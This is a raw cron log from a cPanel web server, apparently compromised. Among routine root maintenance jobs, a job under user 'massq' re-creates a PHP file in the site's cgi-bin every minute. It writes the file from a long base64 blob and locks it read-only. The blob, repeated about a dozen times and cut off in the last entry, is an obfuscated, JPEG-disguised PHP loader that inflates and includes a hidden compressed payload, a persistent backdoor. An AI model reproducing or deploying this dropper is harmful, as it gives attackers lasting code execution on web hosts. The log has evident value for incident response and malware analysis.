Sep  5 08:23:01 server CROND[5071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:24:01 server CROND[5435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:24:01 server CROND[5434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:24:01 server CROND[5436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:25:01 server CROND[5825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:25:01 server CROND[5827]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:25:01 server CROND[5826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:25:01 server CROND[5828]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 08:25:01 server CROND[5831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:25:01 server CROND[5834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:25:01 server CROND[5829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:25:01 server CROND[5830]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:26:01 server CROND[6763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:26:01 server CROND[6764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:26:01 server CROND[6765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:27:01 server CROND[7177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:27:01 server CROND[7178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:27:01 server CROND[7179]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:27:01 server CROND[7180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:28:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:28:01 server CROND[7576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:28:01 server CROND[7577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:29:01 server CROND[7955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:29:01 server CROND[7956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:29:01 server CROND[7957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:30:01 server CROND[8338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:30:01 server CROND[8341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:30:01 server CROND[8345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:30:01 server CROND[8346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:30:01 server CROND[8344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:30:01 server CROND[8347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:30:01 server CROND[8349]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 08:30:01 server CROND[8343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:30:01 server CROND[8357]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:31:01 server CROND[9278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:31:01 server CROND[9279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:31:01 server CROND[9281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:32:01 server CROND[9656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:32:01 server CROND[9655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:32:01 server CROND[9658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:33:01 server CROND[10026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:33:01 server CROND[10027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:33:01 server CROND[10028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:34:01 server CROND[10438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:34:01 server CROND[10439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:34:01 server CROND[10440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:35:01 server CROND[10829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:35:01 server CROND[10831]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:35:01 server CROND[10834]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 08:35:01 server CROND[10836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:35:01 server CROND[10838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:35:01 server CROND[10839]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:35:01 server CROND[10841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:35:01 server CROND[10840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:35:01 server CROND[10842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZG